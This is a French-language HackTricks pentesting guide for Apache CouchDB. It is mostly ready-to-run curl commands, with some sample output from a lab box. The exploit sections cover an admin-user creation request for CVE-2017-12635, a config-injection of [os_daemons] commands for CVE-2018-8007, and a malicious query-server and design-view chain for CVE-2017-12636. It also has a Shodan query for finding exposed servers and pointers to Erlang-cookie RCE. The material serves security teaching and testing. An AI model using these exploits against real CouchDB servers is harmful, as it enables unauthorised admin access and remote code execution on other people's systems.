5984,6984 - Pentesting CouchDB

Reading time: 14 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

CouchDB est une base de donnĂ©es orientĂ©e document polyvalente et puissante qui organise les donnĂ©es en utilisant une structure de carte clĂ©-valeur au sein de chaque document. Les champs Ă  l'intĂ©rieur du document peuvent ĂȘtre reprĂ©sentĂ©s sous forme de paires clĂ©/valeur, listes ou cartes, offrant une flexibilitĂ© dans le stockage et la rĂ©cupĂ©ration des donnĂ©es.

Chaque document stocké dans CouchDB se voit attribuer un identifiant unique (_id) au niveau du document. De plus, chaque modification effectuée et enregistrée dans la base de données se voit attribuer un numéro de révision (_rev). Ce numéro de révision permet un suivi et une gestion efficaces des changements, facilitant la récupération et la synchronisation des données au sein de la base de données.

Port par défaut : 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

ÉnumĂ©ration Automatique

bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

ÉnumĂ©ration Manuelle

BanniĂšre

curl http://IP:5984/

Cela envoie une requĂȘte GET Ă  l'instance CouchDB installĂ©e. La rĂ©ponse devrait ressembler Ă  l'une des suivantes :

bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

note

Notez que si vous accédez à la racine de couchdb et que vous recevez un 401 Unauthorized avec quelque chose comme ceci : {"error":"unauthorized","reason":"Authentication required."} vous ne pourrez pas accéder à la banniÚre ou à tout autre point de terminaison.

Info Enumeration

Ce sont les points de terminaison auxquels vous pouvez accéder avec une GET request et extraire des informations intéressantes. Vous pouvez trouver plus de points de terminaison et des descriptions plus détaillées dans la documentation de couchdb.

  • /_active_tasks Liste des tĂąches en cours, y compris le type de tĂąche, le nom, le statut et l'ID de processus.
  • /_all_dbs Renvoie une liste de toutes les bases de donnĂ©es dans l'instance CouchDB.
  • **/_cluster_setup**Renvoie le statut du nƓud ou du cluster, selon l'assistant de configuration du cluster.
  • /_db_updates Renvoie une liste de tous les Ă©vĂ©nements de base de donnĂ©es dans l'instance CouchDB. L'existence de la base de donnĂ©es _global_changes est requise pour utiliser ce point de terminaison.
  • /_membership Affiche les nƓuds qui font partie du cluster en tant que cluster_nodes. Le champ all_nodes affiche tous les nƓuds que ce nƓud connaĂźt, y compris ceux qui font partie du cluster.
  • /_scheduler/jobs Liste des travaux de rĂ©plication. Chaque description de travail inclura des informations sur la source et la cible, l'ID de rĂ©plication, un historique des Ă©vĂ©nements rĂ©cents et quelques autres Ă©lĂ©ments.
  • /_scheduler/docs Liste des Ă©tats des documents de rĂ©plication. Inclut des informations sur tous les documents, mĂȘme dans les Ă©tats completed et failed. Pour chaque document, il renvoie l'ID du document, la base de donnĂ©es, l'ID de rĂ©plication, la source et la cible, et d'autres informations.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} Le point de terminaison /_node/{node-name} peut ĂȘtre utilisĂ© pour confirmer le nom du nƓud Erlang du serveur qui traite la demande. Cela est particuliĂšrement utile lors de l'accĂšs Ă  /_node/_local pour rĂ©cupĂ©rer cette information.
  • /_node/{node-name}/_stats La ressource _stats renvoie un objet JSON contenant les statistiques pour le serveur en cours d'exĂ©cution. La chaĂźne littĂ©rale _local sert d'alias pour le nom du nƓud local, donc pour toutes les URL de statistiques, {node-name} peut ĂȘtre remplacĂ© par _local, pour interagir avec les statistiques du nƓud local.
  • /_node/{node-name}/_system La ressource _system renvoie un objet JSON contenant diverses statistiques au niveau du systĂšme pour le serveur en cours d'exĂ©cution_._ Vous pouvez utiliser ___local comme {node-name} pour obtenir des informations sur le nƓud actuel.
  • /_node/{node-name}/_restart
  • /_up Confirme que le serveur est en marche, fonctionne et prĂȘt Ă  rĂ©pondre aux demandes. Si maintenance_mode est true ou nolb, le point de terminaison renverra une rĂ©ponse 404.
  • **/_uuids**Demande un ou plusieurs Identifiants Universellement Uniques (UUID) de l'instance CouchDB.
  • **/_reshard**Renvoie un compte des travaux terminĂ©s, Ă©chouĂ©s, en cours, arrĂȘtĂ©s et totaux ainsi que l'Ă©tat de la rĂ©partition sur le cluster.

Des informations plus intĂ©ressantes peuvent ĂȘtre extraites comme expliquĂ© ici : https://lzone.de/cheat-sheet/CouchDB

Database List

curl -X GET http://IP:5984/_all_dbs

Si cette requĂȘte rĂ©pond avec un 401 non autorisĂ©, alors vous avez besoin de identifiants valides pour accĂ©der Ă  la base de donnĂ©es :

curl -X GET http://user:password@IP:5984/_all_dbs

Pour trouver des identifiants valides, vous pourriez essayer de bruteforcer le service.

Ceci est un exemple d'une réponse de couchdb lorsque vous avez suffisamment de privilÚges pour lister les bases de données (C'est juste une liste de bases de données) :

bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Informations sur la base de données

Vous pouvez obtenir des informations sur la base de données (comme le nombre de fichiers et les tailles) en accédant au nom de la base de données :

bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Liste des documents

Liste chaque entrée dans une base de données

bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Lire le Document

Lire le contenu d'un document à l'intérieur d'une base de données :

bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Escalade de privilĂšges CouchDB CVE-2017-12635

GrĂące aux diffĂ©rences entre les analyseurs JSON d'Erlang et de JavaScript, vous pourriez crĂ©er un utilisateur admin avec les identifiants hacktricks:hacktricks avec la requĂȘte suivante :

bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Plus d'informations sur cette vulnérabilité ici.

CouchDB RCE

Aperçu de la sécurité des cookies Erlang

Exemple d'ici.

Dans la documentation de CouchDB, en particulier dans la section concernant la configuration du cluster (lien), l'utilisation des ports par CouchDB en mode cluster est discutĂ©e. Il est mentionnĂ© que, comme en mode autonome, le port 5984 est utilisĂ©. De plus, le port 5986 est destinĂ© aux API locales au nƓud, et il est important de noter qu'Erlang nĂ©cessite le port TCP 4369 pour le Daemon de mappage de port Erlang (EPMD), facilitant la communication entre les nƓuds au sein d'un cluster Erlang. Cette configuration forme un rĂ©seau oĂč chaque nƓud est interconnectĂ© avec tous les autres nƓuds.

Un avis de sĂ©curitĂ© crucial est soulignĂ© concernant le port 4369. Si ce port est rendu accessible sur Internet ou sur tout rĂ©seau non fiable, la sĂ©curitĂ© du systĂšme repose fortement sur un identifiant unique connu sous le nom de "cookie." Ce cookie agit comme une protection. Par exemple, dans une liste de processus donnĂ©e, le cookie nommĂ© "monster" pourrait ĂȘtre observĂ©, indiquant son rĂŽle opĂ©rationnel dans le cadre de sĂ©curitĂ© du systĂšme.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Pour ceux qui s'intĂ©ressent Ă  comprendre comment ce "cookie" peut ĂȘtre exploitĂ© pour une ExĂ©cution de Code Ă  Distance (RCE) dans le contexte des systĂšmes Erlang, une section dĂ©diĂ©e est disponible pour une lecture approfondie. Elle dĂ©taille les mĂ©thodologies pour tirer parti des cookies Erlang de maniĂšre non autorisĂ©e afin d'obtenir le contrĂŽle sur les systĂšmes. Vous pouvez explorer le guide dĂ©taillĂ© sur l'abus des cookies Erlang pour RCE ici.

Exploitation de CVE-2018-8007 par la modification de local.ini

Exemple d'ici.

Une vulnérabilité récemment divulguée, CVE-2018-8007, affectant Apache CouchDB a été explorée, révélant que l'exploitation nécessite des permissions d'écriture sur le fichier local.ini. Bien que cela ne soit pas directement applicable au systÚme cible initial en raison de restrictions de sécurité, des modifications ont été apportées pour accorder l'accÚs en écriture au fichier local.ini à des fins d'exploration. Des étapes détaillées et des exemples de code sont fournis ci-dessous, démontrant le processus.

Tout d'abord, l'environnement est préparé en s'assurant que le fichier local.ini est modifiable, vérifié en listant les permissions :

bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Pour exploiter la vulnérabilité, une commande curl est exécutée, ciblant la configuration cors/origins dans local.ini. Cela injecte une nouvelle origine ainsi que des commandes supplémentaires sous la section [os_daemons], visant à exécuter du code arbitraire :

bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

La vérification ultérieure montre la configuration injectée dans local.ini, la contrastant avec une sauvegarde pour mettre en évidence les changements :

bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Initialement, le fichier attendu (/tmp/0xdf) n'existe pas, ce qui indique que la commande injectĂ©e n'a pas encore Ă©tĂ© exĂ©cutĂ©e. Une enquĂȘte plus approfondie rĂ©vĂšle que des processus liĂ©s Ă  CouchDB sont en cours d'exĂ©cution, y compris un qui pourrait potentiellement exĂ©cuter la commande injectĂ©e :

bash
root@canape:/home/homer/bin# ps aux | grep couch

En terminant le processus CouchDB identifié et en permettant au systÚme de le redémarrer automatiquement, l'exécution de la commande injectée est déclenchée, confirmée par l'existence du fichier précédemment manquant :

bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Cette exploration confirme la viabilité de l'exploitation de CVE-2018-8007 dans des conditions spécifiques, notamment la nécessité d'un accÚs en écriture au fichier local.ini. Les exemples de code fournis et les étapes procédurales offrent un guide clair pour reproduire l'exploit dans un environnement contrÎlé.

Pour plus de détails sur CVE-2018-8007, consultez l'avis de mdsec : CVE-2018-8007.

Exploration de CVE-2017-12636 avec des autorisations d'Ă©criture sur local.ini

Exemple d'ici.

Une vulnĂ©rabilitĂ© connue sous le nom de CVE-2017-12636 a Ă©tĂ© explorĂ©e, permettant l'exĂ©cution de code via le processus CouchDB, bien que des configurations spĂ©cifiques puissent empĂȘcher son exploitation. MalgrĂ© de nombreuses rĂ©fĂ©rences de Proof of Concept (POC) disponibles en ligne, des ajustements sont nĂ©cessaires pour exploiter la vulnĂ©rabilitĂ© sur la version 2 de CouchDB, diffĂ©rente de la version 1.x couramment ciblĂ©e. Les Ă©tapes initiales consistent Ă  vĂ©rifier la version de CouchDB et Ă  confirmer l'absence du chemin des serveurs de requĂȘte attendu :

bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Pour s'adapter à la version 2.0 de CouchDB, un nouveau chemin est utilisé :

bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Les tentatives d'ajout et d'invocation d'un nouveau serveur de requĂȘtes ont Ă©tĂ© confrontĂ©es Ă  des erreurs liĂ©es aux autorisations, comme l'indique la sortie suivante :

bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Une enquĂȘte plus approfondie a rĂ©vĂ©lĂ© des problĂšmes de permission avec le fichier local.ini, qui n'Ă©tait pas modifiable. En modifiant les permissions du fichier avec un accĂšs root ou homer, il est devenu possible de continuer :

bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Les tentatives ultĂ©rieures d'ajouter le serveur de requĂȘtes ont rĂ©ussi, comme le dĂ©montre l'absence de messages d'erreur dans la rĂ©ponse. La modification rĂ©ussie du fichier local.ini a Ă©tĂ© confirmĂ©e par la comparaison des fichiers :

bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Le processus s'est poursuivi par la crĂ©ation d'une base de donnĂ©es et d'un document, suivi d'une tentative d'exĂ©cuter du code via une vue personnalisĂ©e mappĂ©e au serveur de requĂȘtes nouvellement ajoutĂ© :

bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

Un résumé avec un payload alternatif fournit des informations supplémentaires sur l'exploitation de CVE-2017-12636 dans des conditions spécifiques. Ressources utiles pour exploiter cette vulnérabilité incluent :

Shodan

  • port:5984 couchdb

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks